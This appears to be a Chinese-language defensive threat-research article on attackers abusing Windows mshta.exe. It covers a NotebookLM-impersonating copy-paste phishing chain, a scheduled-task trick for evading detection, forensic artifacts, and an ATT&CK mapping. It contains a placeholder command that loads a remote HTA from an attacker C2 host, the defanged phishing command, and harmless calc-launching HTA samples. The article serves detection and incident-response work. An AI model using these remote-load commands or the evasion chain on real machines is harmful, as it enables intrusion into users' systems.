Detection

深入解析 mshta.exe:Windows 原生工具在攻擊鏈中的濫用與實務分析

mshta.exe 是 Windows 內建、用於執行 HTA 的合法工具,因高系統權限而被攻擊者濫用為 LOLBin 載入器。本文以偽裝 NotebookLM 的 copy-paste 釣魚案例,拆解其遠端載入 HTA、以排程工作重塑程序鏈規避「mshta→powershell」偵測的手法,並整理 RunMRU、PowerShell 歷史與 Prefetch 等可還原行為的鑑識痕跡。

Yuna Liu · 發布

平台 Windows
technique Mshta(LOLBin) technique ClickFix / copy-paste technique Malvertising

Key findings

  • mshta.exe 是 Windows 內建、用於執行 HTA(HTML Application)的合法工具;因功能強大、預設存在且 HTA 具高系統權限,被攻擊者濫用為 LOLBin 載入器。
  • 典型案例:攻擊者以 Google 廣告將偽裝成 NotebookLM 的釣魚站推上搜尋前列,以「安裝教學」誘導使用者按 Win+R 貼上 mshta 遠端執行指令(copy-paste 社交工程),繞過下載惡意檔案的警覺。
  • 規避關鍵:攻擊鏈刻意以排程工作重塑程序鏈(mshta →建立排程→ Task Scheduler → powershell),避開「mshta → powershell」的父子程序偵測。
  • mshta 支援本地、遠端 URL 與 inline script 三種執行方式;遠端與 inline 幾乎不落地,增加偵測與鑑識難度。
  • 即使 fileless-like,仍可從 RunMRU(Win+R 歷史)、PowerShell 歷史(ConsoleHost_history.txt)與 Prefetch(MSHTA.EXE-*.pf,遠端執行也會產生)等痕跡還原行為。

mshta.exe 濫用示意圖(AI 生成)

前言

近期團隊調查到多起資安事件,觀察到攻擊者透過釣魚手法誘導使用者依指示貼上指令,在未充分理解風險的情況下直接操作 Windows 原生工具 mshta.exe。其中一個典型案例,是使用者被引導按下 Windows + R 開啟執行視窗並貼上指令,以遠端執行 .hta 檔案。攻擊者可藉此在目標主機啟動 HTA 程式,進一步呼叫系統命令或下載執行其他惡意程式,而無需傳統的可執行檔(EXE),且部分情境不會產生明確落地檔案,較不易被傳統防毒偵測。這凸顯了 mshta.exe 作為 LOLBin(Living-off-the-Land Binary) 的濫用潛力:即便是系統內建、合法的工具,也可能成為攻擊鏈中的重要角色。

本文僅供防禦研究、事件應變、威脅狩獵與教育用途。文中提及之技術與指令可能具風險,請僅在隔離、可還原且不連接生產網路之環境中測試;文中所提及之第三方平台與產品名稱僅作技術描述之用。

mshta 介紹

mshta.exe 是 Windows 內建、用於執行 HTA(HTML Application)的合法工具。HTA 是以 HTML 為基礎、結合網頁技術(HTML、CSS)與腳本語言(VBScript 或 JScript)的應用程式格式,但與瀏覽器執行的網頁不同,HTA 具有更高的系統權限,可直接與作業系統互動。因功能強大且預設存在,逐漸被攻擊者濫用為執行惡意程式的載體。

HTA 範例

<html>
<head>
  <title>HTA Demo</title>
  <HTA:APPLICATION ID="app" APPLICATIONNAME="Calculator Demo"
      BORDER="thin" CAPTION="yes" SHOWINTASKBAR="yes"
      SINGLEINSTANCE="yes" WINDOWSTATE="normal" />
  <script language="VBScript">
  Sub Window_OnLoad()
      Set shell = CreateObject("WScript.Shell")
      shell.Run "calc.exe", 1, False   ' 開小算
      Call ShowMsg()                    ' 呼叫 JS alert
  End Sub
  </script>
  <script language="JavaScript">
  function ShowMsg() { alert("loading..."); }
  </script>
</head>
<body>
  <div class="box"><h2>HTA Demo Page</h2></div>
</body>
</html>

mshta.exe 執行上方 HTA 時,系統會啟動 HTA 執行環境並開啟獨立視窗;載入完成後自動觸發 Window_OnLoad(),VBScript 透過 WScript.Shell 啟動計算機(calc.exe),JavaScript 跳出「loading…」對話框。使用者除了看到靜態介面外,還會同步出現彈窗與外部程式被自動執行的行為。

HTA 檔執行結果

mshta 的執行方式,主要分為本地與遠端,另有 inline script:

  • 本地執行mshta C:\test.hta,需先將檔案寫入磁碟(明確落地),容易被防毒/EDR 掃描到檔案本體。
  • 遠端執行mshta http://<IP|DOMAIN>:<PORT>/<FILE>.hta,IP/DOMAIN 為攻擊者 C2;不需先落地、直接由 mshta 解析執行,常用於第一階段 Payload delivery(Loader),易結合社交工程(Win + R、釣魚郵件)。
  • Inline Script 執行mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""calc.exe"""),完全不需檔案(更接近 fileless),可直接嵌入 cmd 或 PowerShell。

實務案例與攻擊鏈

在實際攻擊中,mshta.exe 很少單獨出現,而是作為初始載入器(Loader)或腳本執行工具,搭配釣魚網站或社交工程達成初始入侵。

案例,攻擊者透過購買 Google 廣告(贊助搜尋結果),將偽裝成 NotebookLM 的釣魚網站置於搜尋前列。

偽裝成 NotebookLM 的釣魚網站,於 Google 搜尋結果排名第一

使用者進入後,頁面提供「Install on Windows」安裝指引,引導使用者按 Windows + R 開啟執行視窗並輸入 mshta hxxps://domain/notebooklm。此步驟本質是利用使用者自行執行系統內建工具(LOLBins),繞過下載並執行惡意檔案的警覺。

釣魚網站提供的安裝指示畫面

攻擊鏈,① 初始存取:使用者經搜尋/廣告點擊釣魚站(SEO poisoning / Malvertising);② 使用者執行:手動貼上並執行 mshta 指令,從遠端載入惡意 .hta;③ 腳本執行:mshta.exe 下載並執行遠端 HTA(含 VBScript/JScript);④ 持久化:HTA 建立排程工作;⑤ 間接執行:由 Task Scheduler 觸發 PowerShell,而非 mshta 直接啟動。

關鍵規避手法

  1. 以中介機制重塑程序鏈,傳統偵測常關注 mshta.exe → powershell.exe,但實際鏈為 mshta.exe →(建立排程)→ Task Scheduler → powershell.exe,避開父子程序關聯。
  2. 使用合法工具(LOLBins)mshta.exeschtasks.exe / Task Scheduler、powershell.exe
  3. 社交工程強化,以「安裝教學」降低戒心、以可信品牌(NotebookLM)偽裝。

分析重點與鑑識痕跡

在 mshta 相關事件的鑑識中,可透過多種系統痕跡相互比對還原攻擊全貌:

  • File Hash / 本地檔案路徑:若為本地執行(如 C:\test.hta),可取得檔案雜湊、建立/修改時間與來源路徑(Downloads、Temp、Desktop 等)。
  • RunMRU(Win + R 歷史)HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU 保留曾以 Win+R 執行的指令。

透過 Regedit 查看 RunMRU 中曾以 Win + R 下的指令

  • PowerShell 歷史%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PowerShell 指令歷史紀錄

  • Prefetch(MSHTA.EXE-*.pf)C:\Windows\Prefetch\,可看到建立/修改/執行時間、執行次數、載入 DLL 等。

以 WinPrefetchView 查看 MSHTA.EXE-*.pf

為什麼會產生 Prefetch?,Prefetch 是 Windows 為提升啟動效能的快取機制;當 mshta.exe 被執行時系統會自動記錄執行相關資訊。值得注意的是,不論本地 HTA 或遠端 URL 執行,系統皆會建立對應的 Prefetch 紀錄,因此即使遠端執行未產生明確落地檔案,仍可透過 Prefetch 證實 mshta.exe 曾被執行(但無法直接還原實際 payload 內容)。

總結

mshta.exe 作為 LOLBin,結合釣魚網站與社交工程誘導使用者主動執行惡意指令,成功繞過以檔案為基礎的防護。它通常作為初始載入器,從遠端載入並執行 HTA,進一步以排程工作建立持久化,再由排程服務間接觸發 PowerShell,避開常見的父子程序偵測(mshta → powershell)。由於支援遠端載入與 inline script,部分情境不需明確落地即可完成攻擊,增加鑑識與偵測難度;然而即使在 fileless-like 情境下,仍可透過 RunMRU、PowerShell 歷史與 Prefetch 等痕跡進行分析。

mshta.exe 的風險並非來自其本身,而是來自其「合法工具 + 高權限 + 可執行腳本」的特性。因此防禦上應避免僅依賴單一指標(如程序名稱或父子關係),而應結合行為分析、使用者操作脈絡與多重事件關聯,才能有效識別此類攻擊。

樣本與參考

MITRE ATT&CK mapping

TacticTechniqueProcedure
Resource developmentT1583.008購買 Google 廣告,將偽裝成 NotebookLM 的釣魚站推上贊助搜尋結果前列
Defense evasionT1036.005以可信品牌 NotebookLM 偽裝,並以「安裝教學」降低使用者戒心
ExecutionT1204.004誘導使用者按 Win+R 貼上並執行 mshta 遠端指令(copy-paste / ClickFix 社交工程)
Defense evasionT1218.005濫用系統代理二進位 mshta.exe 執行遠端 HTA,繞過以檔案為基礎的防護
ExecutionT1059.005HTA 內以 VBScript/JScript 呼叫 WScript.Shell 等執行系統命令
PersistenceT1053.005HTA 建立排程工作(Scheduled Task)作為持久化
ExecutionT1059.001由 Task Scheduler 間接觸發 PowerShell 執行後續行為,避開「mshta→powershell」父子偵測

OIS-2026-006 · TLP:CLEAR under FIRST TLP 2.0 · 引用本研究請附研究編號與固定網址。